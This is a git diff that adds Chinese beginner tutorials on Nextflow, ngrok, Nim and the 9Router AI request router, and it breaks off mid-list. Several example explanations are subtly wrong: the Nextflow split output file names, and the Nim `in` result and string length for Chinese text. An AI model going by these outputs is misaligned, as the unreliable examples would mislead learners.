+想象你在一家餐厅当厨师长。你需要完成一系列步骤：洗菜、切菜、炒菜、摆盘。每一步都有输入和输出，而且某些步骤可以并行做（比如两个灶台同时炒菜），某些步骤必须按顺序来（必须先切菜才能炒菜）。
+
+Nextflow 就是这样一个"厨房管理系统"——它是一个**工作流程编排语言**，用来把一堆计算任务（比如基因测序分析、数据清洗、机器学习训练）按照依赖关系串起来，自动管理数据流向、并行执行、错误重试，甚至跨机器、跨云平台运行。
+
+它最初由生物信息学家开发，但现在广泛用于各种数据管道场景。
+
+## 二、核心概念
+
+Nextflow 的核心概念有四个，理解它们就理解了整个框架：
+
+### 1. Process（进程）
+
+Process 是最小的工作单位。每个 Process 包含三部分：
+
+- **input**：输入（像函数的参数）
+- **script**：要执行的命令（像函数体）
+- **output**：输出（像函数的返回值）
+
+一个 Process 执行一次就叫一个 **Task**。
+
+### 2. Channel（通道）
+
+Channel 是一个**异步的数据流管道**。你可以把它想象成传送带——数据从一端进入，经过各种处理，从另一端流出。
+
+Channel 有三种常见操作：
+- **创建**：`channel.of(1, 2, 3)` 或 `channel.fromPath('data/*.txt')`
+- **操作**：`.map()`、`.filter()`、`.flatten()` 等
+- **消费**：传给 Process 或 `.view()` 打印
+
+### 3. Workflow（工作流）
+
+Workflow 把多个 Process 串联起来，定义数据如何从一个 Process 流向下一个 Process。它是整个管道的"总调度"。
+
+### 4. Params（参数）
+
+参数让你可以在运行时灵活控制管道，而不必改代码。用 `params.xxx` 声明，命令行用 `--xxx` 传入。
+
+## 三、第一个代码示例：基础 Process + Workflow
+
+下面是一个完整的最小可运行示例。这个管道接收一个字符串，把它切成小块，然后转成大写：
+
+```groovy
+// 定义一个参数，运行时可以用 --str '新值' 覆盖
+params.str = "Hello world!"
+
+// ---- Process 1: 把字符串切成小块 ----
+process split {
+    input:
+    val x                    // 接收一个字符串值
+    output:
+    path 'chunk_*'           // 输出所有 chunk_ 开头的文件
+    script:
+    """
+    printf '${x}' | split -b 6 - chunk_
+    """
+}
+
+// ---- Process 2: 把文件内容转成大写 ----
+process convert_to_upper {
+    tag "$y"                 // 给任务起个友好名字
+    input:
+    path y                   // 接收一个文件
+    output:
+    path 'upper_*'           // 输出转换后的文件
+    script:
+    """
+    cat $y | tr '[a-z]' '[A-Z]' > upper_${y}
+    """
+}
+
+// ---- Workflow: 把两个 Process 串起来 ----
+workflow {
+    main:
+    // 从参数创建一个 Channel
+    ch_str = channel.of(params.str)
+    // 调用 split 进程，得到切割后的文件 Channel
+    ch_chunks = split(ch_str)
+    // flatten() 把文件列表展开，传给 convert_to_upper
+    ch_upper = convert_to_upper(ch_chunks.flatten())
+    publish:
+    lower = ch_chunks.flatten()
+    upper = ch_upper
+}
+```
+
+运行方式：
+
+```bash
+nextflow run main.nf
+```
+
+执行流程是这样的：
+
+1. `channel.of(params.str)` 创建一个 Channel，发出 "Hello world!"
+2. `split` 进程收到这个字符串，执行 shell 命令，生成 `chunk_Hello` 和 `chunk_world!` 两个文件
+3. `flatten()` 把这两个文件展开成独立的 Channel 元素
+4. `convert_to_upper` 对每个文件执行 `tr` 命令，生成大写版本
+
+## 四、第二个代码示例：多输入 + 数据处理管道
+
+这是一个更贴近实际生物信息学场景的例子：读取多个样本的 FASTQ 文件，分别做质量控制，最后合并报告：
+
+```groovy
+// 声明参数
+params.input_dir = './data/'
+params.quality_threshold = 20
+
+// ---- Process 1: 质控检查 ----
+process fastqc {
+    tag "${sample}"
+    input:
+    tuple val(sample), path(fastq_file)   // 接收样本名 + 文件
+    output:
+    path '*_fastqc.zip', emit: report     // 输出质控报告文件
+    script:
+    """
+    echo "Running FastQC on sample: $sample"
+    echo "Quality threshold: $params.quality_threshold"
+    # 模拟 FastQC 输出
+    mkdir ${sample}_fastqc
+    echo "Sample $sample passed QC" > ${sample}_fastqc/summary.txt
+    zip ${sample}_fastqc.zip ${sample}_fastqc/summary.txt
+    """
+}
+
+// ---- Process 2: 过滤低质量reads ----
+process trim_reads {
+    tag "${sample}"
+    input:
+    tuple val(sample), path(fastq_file)
+    output:
+    path "trimmed_${sample}.fq"
+    script:
+    """
+    echo "Trimming reads for sample: $sample"
+    # 模拟修剪操作
+    grep -v 'N' $fastq_file > trimmed_${sample}.fq
+    """
+}
+
+// ---- Process 3: 合并报告 ----
+process merge_reports {
+    input:
+    path reports, multiple: true
+    output:
+    path 'merged_report.txt'
+    script:
+    """
+    echo "=== Merged QC Report ===" > merged_report.txt
+    echo "Generated at: $(date)" >> merged_report.txt
+    echo "" >> merged_report.txt
+    for f in $reports; do
+        echo "--- $f ---" >> merged_report.txt
+        cat $f >> merged_report.txt
+        echo "" >> merged_report.txt
+    done
+    """
+}
+
+// ---- Workflow ----
+workflow {
+    main:
+    // 从目录读取所有 .fastq 文件，生成 Channel
+    def fastq_files = channel.fromPath("${params.input_dir}*.fastq")
+
+    // 为每个文件附加样本名（取文件名去掉扩展名）
+    def samples_with_name = fastq_files.map { file ->
+        def sampleName = file.name.replace('.fastq', '')
+        tuple(sampleName, file)
+    }
+
+    // 并行启动两个 Process：质控 + 修剪
+    def qc_reports = fastqc(samples_with_name)
+    def trimmed_files = trim_reads(samples_with_name)
+
+    // 收集所有质控报告，传给合并进程
+    def all_reports = qc_reports.collect { it.report }
+    merge_reports(all_reports)
+
+    publish:
+    qc = qc_reports
+    trimmed = trimmed_files
+}
+```
+
+这个例子里有几个重要的 Nextflow 特性：
+
+- **`tuple` 输入**：把不同类型的数据打包在一起（样本名是字符串，文件是文件路径）
+- **`channel.fromPath()`**：直接从文件系统通配符创建 Channel
+- **`.map()` 算子**：转换 Channel 中的数据（给文件加上样本名）
+- **并行执行**：`fastqc` 和 `trim_reads` 同时运行，互不阻塞
+- **`collect()` 算子**：把所有报告文件收集成一个列表
+
+## 五、关键特性速览
+
+| 特性 | 说明 |
+|------|------|
+| 缓存与断点续跑 | 已完成的 Task 会被缓存，重新运行跳过已完成的 |
+| 跨平台执行 | 同一套脚本可在本地、SLURM 集群、AWS、GCP 上运行 |
+| Docker/Singularity | 每个 Process 可以指定容器镜像，保证环境一致 |
+| 模块化 | 用 `include` 从其他文件导入 Process，方便复用 |
+| 动态资源分配 | 根据输入文件大小自动调整内存和 CPU 需求 |
+| 可视化追踪 | 自动生成执行流程图（`-with-trace -with-dag`） |
+
+## 六、学习建议
+
+1. 先跑通第一个示例，理解 Process → Channel → Workflow 的数据流向
+2. 尝试修改 `params.str` 的值，观察输出变化
+3. 用 `-resume` 参数重新运行，感受缓存机制
+4. 阅读 Nextflow 官方教程 [training.nextflow.io](https://training.nextflow.io/) 中的 RNA-seq 实战课程
+
+## 参考
+
+- GitHub: https://github.com/nextflow-io/nextflow
+- 官方文档: https://www.nextflow.io/docs/latest/
+- 在线培训: https://training.nextflow.io/
diff --git a/src/content/docs/projects/nginx.md b/src/content/docs/projects/nginx.md
index 6504cb8a7..12e40bd22 100644
--- a/src/content/docs/projects/nginx.md
+++ b/src/content/docs/projects/nginx.md
@@ -174,6 +174,7 @@ location /static/ {
 - [[ansible]] —— Ansible — 无 agent 配置管理
 - [[bigbluebutton]] —— BigBlueButton — 教育向开源 Web 会议平台（HTML5 + WebRTC + 白板）
 - [[caddy]] —— Caddy — 自动 HTTPS Web 服务器
+- [[code-server]] —— code-server — 在浏览器里跑完整 VS Code
 - [[coturn]] —— coturn — 帮 WebRTC 穿越 NAT 的开源 TURN/STUN 中转服务器
 - [[dendrite]] —— Dendrite — Go 写的第二代 Matrix homeserver，组件可拆可合
 - [[docker-compose]] —— Docker Compose — 一份 YAML 起一整套开发栈
@@ -189,6 +190,8 @@ location /static/ {
 - [[kong]] —— Kong — 基于 nginx + Lua 的云原生 API 网关
 - [[krakend]] —— KrakenD — 把多个后端聚合成一次响应的高性能 API 网关
 - [[memcached]] —— Memcached — 经典内存缓存
+- [[mosquitto]] —— Eclipse Mosquitto — 轻量级 MQTT 消息代理，物联网的「社区广播站」
+- [[nanomq]] —— NanoMQ — 面向 IoT 边缘的超轻量 MQTT Broker
 - [[next-js]] —— Next.js — React 全栈框架
 - [[nginx-rtmp-module]] —— nginx-rtmp-module — 用 nginx 搭 RTMP/HLS 直播服务
 - [[ovenmediaengine]] —— OvenMediaEngine — 亚秒级直播流媒体服务器
diff --git a/src/content/docs/projects/ngrok-tunnel-2014.md b/src/content/docs/projects/ngrok-tunnel-2014.md
new file mode 100644
index 000000000..2f49c5599
--- /dev/null
+++ b/src/content/docs/projects/ngrok-tunnel-2014.md
@@ -0,0 +1,201 @@
+---
+title: "ngrok 公开 URL 隧道：让本机服务瞬间上互联网"
+来源: https://ngrok.com/
+日期: 2026-06-13
+分类: 后端 API
+子分类: Web 后端
+provenance: pipeline-v3
+---
+
+# ngrok 公开 URL 隧道：让本机服务瞬间上互联网
+
+## 一、一个日常类比
+
+想象一下：你在家里（本机）开了一家小店，但门外是一条没有门牌号的巷子（内网），外面的人根本找不到你。
+
+ngrok 做的事，就是帮你在这条巷子里修一条"地下通道"，通到大街上。大街上会有一个门牌号（公网 URL），任何人输入这个门牌号，就能通过地下通道直接找到你的小店。
+
+关键之处在于：你不需要搬家（把代码部署到云服务器），也不用改地址（不需要配置路由器端口映射）。只要地下通道接通了，外面的世界就能找到你。
+
+这就是 ngrok 的核心：**在本地机器和互联网之间建立一条加密隧道，为你的本地服务分配一个公网可访问的 URL。**
+
+## 二、背景问题：为什么需要 ngrok？
+
+在 ngrok 出现之前，如果你想让别人访问你本机运行的一些东西——比如一个正在开发的网页、一个接收 webhook 的 API——通常会遇到以下麻烦：
+
+- **内网无法直接访问**：你的电脑在一个私有网络里，公网上的服务器找不到你
+- **端口需要手动配置**：你需要登录路由器设置端口转发，对普通开发者不友好
+- **没有公网 IP**：大多数家庭宽带没有固定的公网 IP 地址
+- **部署太慢**：如果把代码部署到服务器，需要等构建、部署、验证，效率很低
+
+ngrok 在 2013-2014 年左右出现，用一句话解决了所有问题：**装一个小程序，跑一行命令，立刻获得一个公网 URL。**
+
+## 三、核心概念
+
+理解 ngrok 需要搞懂以下四个概念：
+
+### 1. 隧道（Tunnel）
+
+隧道是整个系统的核心。它是一条从 ngrok 服务器到你的本地机器之间的加密连接通道。
+
+- ngrok 服务器（公网端）接收外部请求
+- 请求通过隧道传送到你的本地机器
+- 本地服务处理请求后，响应沿原路返回
+
+### 2. 代理（Agent）
+
+代理是你安装在本地机器上的小程序。它负责：
+- 建立与 ngrok 云服务的加密隧道连接
+- 把本地端口上的流量转发到隧道里
+- 维持连接，处理断线重连
+
+### 3. 公网 URL
+
+ngrok 会自动为你生成的 URL，格式类似 `https://abc123.ngrok.io`。任何人都能在互联网上访问这个地址，请求最终会到达你本地的服务。
+
+### 4. 流量检查（Traffic Inspector）
+
+ngrok 提供了一个可视化面板，你可以看到所有通过隧道的 HTTP 请求和响应。就像一个监控摄像头，记录每一个来访者的所有动作。
+
+## 四、代码示例
+
+### 示例 1：最基本的使用——暴露一个本地 Web 服务器
+
+假设你有一个 Python 本地 Web 服务器在运行在 8080 端口：
+
+```python
+# server.py — 一个最简单的本地 Web 服务器
+from http.server import HTTPServer, BaseHTTPRequestHandler
+
+class Handler(BaseHTTPRequestHandler):
+    def do_GET(self):
+        self.send_response(200)
+        self.send_header("Content-Type", "text/plain")
+        self.end_headers()
+        self.wfile.write(b"Hello from localhost!")
+
+server = HTTPServer(("127.0.0.1", 8080), Handler)
+print("Server running on http://127.0.0.1:8080")
+server.serve_forever()
+```
+
+你运行它后，它只在本机 8080 端口监听。现在，打开另一个终端，运行 ngrok：
+
+```bash
+# 一条命令，获得公网 URL
+ngrok http 8080
+```
+
+ngrok 会输出类似这样的信息：
+
+```
+ngrok by @inconshreveable                       (Ctrl+C to quit)
+
+Session Status    online
+Session Expires   7 hours from now
+Version           3.x.x
+Forwarding        https://a1b2c3d4.ngrok.io -> http://localhost:8080
+```
+
+现在，你把 `https://a1b2c3d4.ngrok.io` 发给任何朋友（或者你自己的手机），他们打开这个链接，看到的就和你访问 `http://127.0.0.1:8080` 完全一样的内容——尽管你们的请求到达的是完全不同的地方。
+
+### 示例 2：在 Node.js 项目中测试 Webhook
+
+Webhook 是一个常见的需求：比如 GitHub 在你提交代码后，需要调用你的一个 API 地址。但如果你的代码跑在本机上，GitHub 找不到你。
+
+用 ngrok 来解决：
+
+```bash
+# 先让你的 Node.js 本地服务跑起来（假设在 3000 端口）
+node app.js
+
+# 新开一个终端，用 ngrok 暴露 3000 端口
+ngrok http 3000
+```
+
+ngrok 会给你一个 URL，比如 `https://x9y8z7.ngrok.io`。现在把这个地址填入 GitHub Webhook 的配置中：
+
+```
+https://x9y8z7.ngrok.io/github/webhook
+```
+
+GitHub 的回调请求就能准确到达你本机的 Node.js 服务了。
+
+而且，ngrok 自带一个 Web UI（默认在 `http://localhost:4040`），你可以实时看到所有进来和出去的请求详情，包括请求头、请求体、响应码等等。这对于调试 webhook 非常有用——你不需要装 Postman 或 Charles 这样的工具。
+
+### 示例 3：指定子域名和 HTTPS
+
+你可以自己指定 ngrok 生成的子域名，让别人更容易记住：
+
+```bash
+# 指定子域名（免费套餐有限制）
+ngrok http --domain=myapp.ngrok.io 8080
+```
+
+ngrok 默认就提供 HTTPS（TLS 加密），不需要你额外配置。隧道的每一段都是加密的：从互联网到 ngrok 服务器，以及从 ngrok 服务器到你的本地机器。
+
+## 五、工作原理
+
+```
+互联网用户
+    |
+    |  HTTP/HTTPS 请求到 a1b2c3d4.ngrok.io
+    v
+[ngrok 云服务器]  ← 公网入口，分配域名，TLS 终止
+    |
+    |  加密隧道（ngrok 协议）
+    v
+[你机器上的 ngrok agent]  ← 建立长连接，维持通道
+    |
+    |  本地转发
+    v
+[localhost:8080]  ← 你的本地服务，处理请求
+```
+
+整个过程的关键是：**你的本地机器主动连接到 ngrok 服务器**（而不是反过来等别人来找你）。这就是为什么你不需要公网 IP、不需要端口转发——连接的方向是你到服务器，而不是服务器到你。
+
+## 六、ngrok 的意义和影响
+
+ngrok 的出现改变了开发者的工作流：
+
+1. **快速分享**：不用部署就能把半成品分享给同事或客户看
+2. **Webhook 调试**：在本地直接接收和检查第三方回调，极大加速调试
+3. **移动开发测试**：用手机访问本机服务，测试 API 在移动设备上的表现
+4. **降低部署门槛**：新手开发者可以不理解服务器、域名、DNS 这些概念就先"上线"
+
+它解决的问题本质上很简单——**"怎么让外面的人找到我"**——但它用一行命令给出了优雅的答案。
+
+## 七、进阶概念：安全与访问控制
+
+ngrok 不只是裸奔的隧道，它提供多种安全层：
+
+- **TLS 加密**：隧道本身全程加密
+- **请求检查面板**：在 `localhost:4040` 查看每条请求的完整内容
+- **访问控制**：可以为隧道添加基本认证（用户名密码）或 IP 白名单
+- **API 管理**：通过 ngrok 的 API 程序化地创建和管理隧道
+
+## 八、学习小结
+
+| 概念 | 一句话解释 |
+|------|-----------|
+| 隧道 | ngrok 服务器和本地机器之间的加密通道 |
+| 代理 | 运行在你机器上的客户端程序 |
+| 公网 URL | ngrok 自动生成的可被互联网访问的地址 |
+| 流量检查 | 查看隧道中所有请求和响应的可视化面板 |
+| 端口转发 | 将隧道流量导向本地特定端口 |
+
+ngrok 的核心价值不在于技术多复杂，而在于它把一件原本需要网络、服务器、域名配置知识才能做的事，压缩成了一个命令：
+
+```bash
+ngrok http <端口号>
+```
+
+对于一个零基础的学习者来说，理解 ngrok 是理解"互联网接入"和"网络隧道"概念的好起点。它展示了互联网中一个常见的问题（NAT 和防火墙导致内网服务不可达），以及一个优雅的解决方案（通过主动外连建立反向隧道）。
+
+## 九、延伸思考
+
+- 如果 ngrok 的隧道断了，会发生什么？（提示：代理会尝试自动重连）
+- ngrok 的 URL 是怎么生成的？为什么每个 URL 都是唯一的？
+- 除了 HTTP，ngrok 还支持 TCP 隧道——这意味着什么？（提示：不只是网页，任何基于 TCP 的服务都能被暴露）
+
+这些问题可以作为下一步探索的方向。
diff --git a/src/content/docs/projects/nim.md b/src/content/docs/projects/nim.md
new file mode 100644
index 000000000..df694d125
--- /dev/null
+++ b/src/content/docs/projects/nim.md
@@ -0,0 +1,212 @@
+---
+title: Nim — Python 风的系统语言
+来源: https://github.com/nim-lang/Nim
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 什么是 Nim
+
+Nim 是一门静态类型的编译型系统编程语言。它的设计哲学可以浓缩为一句话：**写出 Python 一样简洁的代码，跑出 C 一样快的速度。**
+
+Nim 的代码最终会被编译成 C、C++、Objective-C 或 JavaScript 代码，然后交给你电脑上的 C 编译器去编译。也就是说，Nim 本身是一个"编译器编译器"——它把你写的高级语言转成底层语言，再由底层语言的工具链产出最终的可执行文件。
+
+## 日常类比：翻译官与建筑师
+
+想象你要盖一栋房子。C 语言就像你自己搬砖和水泥——完全掌控每一块材料，但要操心每一个细节。Nim 就像你雇了一位翻译官，你用简单明了的语言告诉他你的想法，翻译官帮你写成精确的建筑图纸，然后交给施工队（C 编译器）去盖。
+
+你不再直接和砖块打交道，但你盖出来的房子和 C 程序员盖的一模一样结实，而且因为你用的高级语言更简洁，同样的工作量你写的指令更少。
+
+## 核心概念一：缩进敏感 + Python 式语法
+
+Nim 最直观的"Python 味"体现在语法上。它不用大括号 `{}` 来划分代码块，而是用缩进来区分。看下面的 Nim 代码：
+
+```nim
+# hello.nim - 最简单的 Nim 程序
+import strformat
+
+proc greet(name: string) =
+  echo &"你好，{name}！"
+
+greet("世界")
+```
+
+这段代码的含义非常简单：
+
+- `import strformat` — 引入字符串格式化模块，类似 Python 的 `import ...`
+- `proc greet(name: string) =` — 定义一个叫 `greet` 的函数，它接收一个字符串参数
+- `echo &"你好，{name}！"` — 打印格式化的字符串，`&` 前缀表示字符串内可以嵌入变量（类似 Python 的 f-string）
+- `greet("世界")` — 调用函数
+
+注意 `=` 后面直接跟着函数体，没有 `begin` / `end`，没有 `()` 包裹的参数（调用时可以省略），没有大括号。这和 Python 的风格几乎一致。
+
+## 核心概念二：类型推导 + 显式声明并存
+
+Nim 支持类型推导，但也允许你显式声明类型。这是为了兼顾可读性和安全性。
+
+```nim
+# 类型推导 —— Nim 自己知道类型
+var name = "Jason"        # name 是 string 类型
+var age = 28              # age 是 int 类型
+
+# 显式类型声明 —— 告诉编译器你要什么类型
+var score: float = 95.5   # 明确指定为浮点数
+```
+
+`var` 声明可变变量，`let` 声明不可变变量（类似 Python 中没有直接对应、但类似 const）：
+
+```nim
+# let 是不可变的，编译时如果尝试修改会报错
+let maxScore = 100
+echo maxScore  # 100
+# maxScore = 99  # 编译错误！let 变量不能被修改
+```
+
+## 核心概念三：过程（proc）和闭包
+
+Nim 中的函数叫 `proc`（procedure 的缩写）。proc 可以接受命名参数，可以有多返回值，还可以通过 `proc` 内部再定义 `proc` 来创建闭包。
+
+```nim
+import math
+
+# 多返回值 —— 一个 proc 可以返回多个值
+proc divide(a, b: int): (int, int) =
+  (a div b, a mod b)
+
+let (quotient, remainder) = divide(17, 5)
+echo &"商: {quotient}, 余数: {remainder}"  # 商: 3, 余数: 2
+
+# 闭包 —— proc 内部定义 proc
+proc makeGreeter(prefix: string): proc (name: string): string =
+  # 这是一个返回 proc 的 proc
+  result = proc (name: string): string =
+    &"{prefix}{name}"
+```
+
+`result` 是 Nim 的内置变量，proc 最后表达式的值会自动成为返回值（类似 Ruby）。
+
+## 核心概念四：集合与迭代
+
+Nim 的集合类型和 Python 有很多相似之处，但底层实现是编译期的静态结构。
+
+```nim
+# Seq（序列）—— 类似 Python 的 list
+var numbers = @[1, 2, 3, 4, 5]
+
+# 迭代
+for n in numbers:
+  echo n * 2  # 输出 2, 4, 6, 8, 10
+
+# 列表推导风格 —— Nim 用 toSeq + 模板
+import sequtils
+var doubled = numbers.mapIt(it * 2)
+echo doubled  # @[2, 4, 6, 8, 10]
+
+# 字符串操作类似 Python
+var text = "Nim 是一门很棒的语言"
+echo text[0]          # N （索引访问）
+echo text.len          # 17 （长度）
+echo "Nim" in text     # false （成员检查）
+```
+
+## 核心概念五：宏（Macro）和编译期元编程
+
+这是 Nim 真正的杀手锏。Nim 的宏可以在编译期直接操作代码的抽象语法树（AST），这意味着你可以**在编译期生成、修改甚至替换代码**。这和 Python 的装饰器类似，但更强大，因为它操作的是代码树结构本身。
+
+```nim
+# 一个简单的宏：自动为 proc 打印调试信息
+import std/macros
+
+macro debugImpl*(body: untyped): untyped =
+  # 这段宏代码在编译期运行
+  # 它接收一段代码，返回一段修改后的代码
+  result = newNimNode(nnkStmtList)
+  # 插入打印语句
+  let printNode = newCall("echo", newLit("进入函数"))
+  result.add printNode
+  # 添加原始函数体
+  result.add body
+
+# 使用宏
+debugImpl:
+  echo "函数实际在做什么"
+
+# 展开后相当于：
+# echo "进入函数"
+# echo "函数实际在做什么"
+```
+
+Nim 的宏和 Python 的装饰器相比，有两点关键区别：
+1. 宏在编译期运行，装饰器在运行时运行 —— 宏的开销为零
+2. 宏操作的是代码结构（AST），而不是函数对象 —— 这意味着可以生成全新代码
+
+## 核心概念六：内存管理（垃圾回收 + 引用计数）
+
+Nim 默认使用垃圾回收器（Garbage Collector）来自动管理内存，这和 Python 一模一样。但 Nim 也支持手动内存管理，你可以根据场景选择：
+
+```nim
+# 默认方式 —— 垃圾回收（GC），和 Python 一样
+var s = newString(10)
+s[0] = 'A'
+# 程序结束或超出作用域时，GC 自动回收
+
+# 也可以关闭 GC，用引用计数（ARC/ORC）
+# 编译时加参数: nim c --mm:arc myprogram.nim
+
+# 或者完全手动管理（类似 C）
+# 编译时加参数: nim c --mm:none myprogram.nim
+```
+
+## 核心概念七：C 语言互操作性
+
+Nim 可以直接调用 C 代码，无需任何包装层。因为 Nim 本身就生成 C 代码，它和 C 的互操作是"原生级别"的。
+
+```nim
+# 直接导入 C 的函数
+{.passL: "-lm".}  # 链接数学库
+
+proc sqrt(x: cfloat): cfloat {.importc: "sqrt", header: "<math.h>".}
+
+echo sqrt(16.0)  # 4.0
+```
+
+这意味你可以用 Nim 写高级逻辑，用 C 写性能敏感的部分，两者无缝协作。
+
+## 编译与运行
+
+Nim 的工作流程非常直接：
+
+```
+nim c hello.nim    # 编译成 C 代码并调用 C 编译器
+nim r hello.nim    # 编译并立即运行（类似 Python 的 python hello.py）
+nim js hello.nim   # 编译成 JavaScript
+```
+
+编译后的产物是一个独立的可执行文件，没有任何运行时依赖，不需要像 Java 那样装 JVM，也不像 Python 那样需要解释器。
+
+## Nim 和 Python 的对比总结
+
+| 维度 | Python | Nim |
+|------|--------|-----|
+| 类型 | 动态类型 | 静态类型（编译期检查） |
+| 执行 | 解释执行 | 编译成机器码 |
+| 速度 | 较慢（GIL 限制） | 和 C 接近 |
+| 语法 | 缩进敏感 | 缩进敏感 |
+| 内存 | 自动垃圾回收 | 垃圾回收 / 引用计数 / 手动 |
+| 互操作 | CPython C API | 原生 C 互操作 |
+| 元编程 | 装饰器、反射 | 宏（AST 操作） |
+| 输出 | 需要 Python 运行时 | 独立可执行文件 |
+
+## 学习 Nim 的价值
+
+对于理解编程语言的底层原理，Nim 是一个绝佳的桥梁。它让你看到：
+
+1. 静态类型系统如何在不牺牲表达力的前提下保证安全
+2. 编译期元编程如何消除运行时的样板代码
+3. 一门"高级语法"的语言如何在底层和 C 一样高效
+4. 垃圾回收器和手动内存管理各自适合什么场景
+
+读完这篇之后，如果你想继续探索，建议用 `nim r --eval:"echo 1"` 直接在命令行体验 Nim，然后用 `nim c hello.nim && ./hello` 走一遍完整的编译运行流程。
diff --git a/src/content/docs/projects/nine-router.md b/src/content/docs/projects/nine-router.md
new file mode 100644
index 000000000..c41c5dc0e
--- /dev/null
+++ b/src/content/docs/projects/nine-router.md
@@ -0,0 +1,263 @@
+---
+title: 9Router — AI 编程工具的万能路由器
+来源: https://github.com/decolua/9router
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+## 0 一句话理解
+
+9Router 是一台"AI 翻译+调度交换机"。你在编程工具里（Claude Code、Cursor、Copilot 等）只配置一个本地地址 `localhost:20128`，9Router 帮你把请求智能路由到 40+ 供应商、100+ 模型，并且能自动降级、省 token、省额度。
+
+---
+
+## 1 日常类比：快递中转站
+
+想象你要给不同国家的客户寄快递（你的 AI 编程请求）：
+
+- **不��� Router 时**：每个客户（编程工具）都要单独找对应的快递公司（API 供应商），如果一家快递涨价或爆仓，你的包裹就卡住了。
+- **有了 9Router**：所有包裹先送到你家门口的中转站。中转站自动决定：哪家便宜走哪家、哪家爆了就切另一家、哪家免费就用免费的。你只需要对接中转站。
+
+9Router 就是这个中转站，运行在你本地电脑上。
+
+---
+
+## 2 核心概念拆解
+
+### 2.1 OpenAI 兼容接口（OpenAI-Compatible API）
+
+很多 AI 工具（Cursor、Copilot 等）默认支持通过"OpenAI API 格式"来对接模型，也就是说它们只需要知道一个 URL 和 API Key，就能发请求，不管背后实际用的是 Claude、Gemini 还是别的模型。
+
+9Router 监听在 `http://localhost:20128/v1`，对外伪装成一个标准的 OpenAI API 服务。编程工具不知道也不关心背后是谁在干活。
+
+### 2.2 三级智能回退（3-Tier Auto-Fallback）
+
+9Router 允许你把供应商排成梯队：
+
+| 等级 | 类型 | 示例 | 费用 |
+|------|------|------|------|
+| Tier 1 | 订阅制 | Claude Code、GitHub Copilot | 已付费 |
+| Tier 2 | 便宜型 | GLM ($0.6/1M tokens)、MiniMax ($0.2/1M) | 极低 |
+| Tier 3 | 免费型 | Kiro AI、OpenCode Free、Vertex $300 credits | 零成本 |
+
+当 Tier 1 的额度用完后，9Router 自动切到 Tier 2，Tier 2 也耗尽就切到 Tier 3，全程不中断。
+
+### 2.3 RTK 省 Token 技术
+
+编程工具运行时会产生大量"工具输出"（`git diff`、`grep`、`ls -la`、文件树等），这些内容有时会占你 prompt 总长度的 30-50%。
+
+RTK（Request Token Killer）在发送请求前自动检测并压缩这些工具输出，无损地省掉 20-40% 的输入 token。比如一个 47K token 的请求经 RTK 后变成 28K token，AI 的回答完全一样，但你省了将近一半的"垃圾"流量。
+
+### 2.4 格式翻译（Format Translation）
+
+不同供应商用不同的请求格式：
+
+- OpenAI 格式（大多数工具用这个）
+- Claude 原生格式
+- Gemini 格式
+- Cursor/Kiro/Vertex 格式
+
+9Router 负责在它们之间自动翻译，你不用管。
+
+### 2.5 多账号轮询（Multi-Account Round-Robin）
+
+如果你有同一个供应商的多个 API Key，9Router 可以轮流使用它们，避免单个账号触发速率限制。
+
+### 2.6 Caveman 模式
+
+一个可选的"穴居人模式"：在发给 AI 的提示词里自动注入一种极简风格，让 AI 的回答变得更简短、更技术化，但不损失实质内容。据称可节省最多 65% 的输出 token。
+
+---
+
+## 3 代码示例
+
+### 示例 1：本地安装并启动 9Router
+
+这是最简单的方式，一条命令安装，一条命令启动。
+
+```bash
+# 全局安装（需要 Node.js）
+npm install -g 9router
+
+# 启动，默认端口 20128
+9router
+```
+
+启动后会自动打开浏览器，显示 Dashboard 管理界面：
+
+- 添加供应商（Providers）
+- 创建回退组合（Combos）
+- 查看实时用量（Quota Tracking）
+- 开启/关闭 RTK 压缩
+
+### 示例 2：在编程工具中对接 9Router
+
+假设你在用 Cursor 或 OpenClaw，只需要改两处配置：
+
+```
+# 你的编程工具设置里：
+
+Endpoint:   http://localhost:20128/v1
+API Key:    从 9Router Dashboard 复制一个 Key
+Model:      kr/claude-sonnet-4.5
+```
+
+这里 `kr/` 前缀表示 9Router 内部的路由命名空间。你不需要知道这个模型实际跑在哪个供应商上，9Router 会自动处理。
+
+### 示例 3：创建一个三级回退 Combo
+
+在 9Router 的 Dashboard 里创建名为 "my-coding-stack" 的组合：
+
+```
+Combo 名称: my-coding-stack
+
+梯队 1 (最高优先): cc/claude-opus-4-6
+  └─ 来源: 你已有的 Claude Code 订阅
+
+梯队 2 (便宜备用): glm/glm-4.7
+  └─ 来源: 智谱 GLM，约 $0.6/1M tokens
+
+梯队 3 (免费兜底): if/kimi-k2-thinking
+  └─ 来源: Kimi 免费层
+```
+
+工作流程演示：
+
+```
+你的编程工具 → localhost:20128/v1
+                   │
+              9Router 路由决策：
+                   │
+              ┌────┴────┐
+              │ 配额充足？──是──→ 调用 Claude Opus 4.6（你的订阅）
+              └────┬────┘
+                 否
+              ┌────┴────┐
+              │ 预算够？──是──→ 调用 GLM-4.7（便宜）
+              └────┬────┘
+                 否
+              ┌────┴────┐
+              │          → 调用 Kimi K2（免费）
+              └─────────┘
+```
+
+### 示例 4：从源码运行
+
+如果你想更深入了解 9Router 的内部，可以从源码运行：
+
+```bash
+# 克隆项目
+git clone https://github.com/decolua/9router.git
+cd 9router
+
+# 配置环境变量
+cp .env.example .env
+
+# 安装依赖
+npm install
+
+# 开发模式运行
+PORT=20128 \
+NEXT_PUBLIC_BASE_URL=http://localhost:20128 \
+npm run dev
+
+# 生产构建
+npm run build
+npm run start
+```
+
+注意：该项目的部分源码是私有的（`9router-app`），所以完整的源码编译可能受限。
+
+### 示例 5：RTK 压缩的实际效果对比
+
+假设一个编程工具发来的请求中包含了 `git diff` 的输出：
+
+```
+# 没有 RTK 时：
+工具输出: "diff --git a/src/main.js b/src/main.js
+...（省略 200 行差异）...
+@@ -10,20 +10,20 @@
+- console.log('old line 1')
++ console.log('new line 1')
+...（更多重复的上下文行）..."
+→ 总 token 数: 47,000
+
+# 开启 RTK 后：
+工具输出: "diff src/main.js: 200 lines changed
+@@ -10-30
+context: 2 lines before/after each change"
+→ 总 token 数: 28,000  (节省 40%)
+```
+
+RTK 的过滤器包括：`git-diff`、`git-status`、`grep`、`find`、`ls`、`tree`、`dedup-log`、`smart-truncate` 等，全部自动检测，无需手动配置。
+
+---
+
+## 4 支持的编程工具
+
+9Router 像万能转接头一样兼容几乎所有主流 AI 编程工具：
+
+- Claude Code
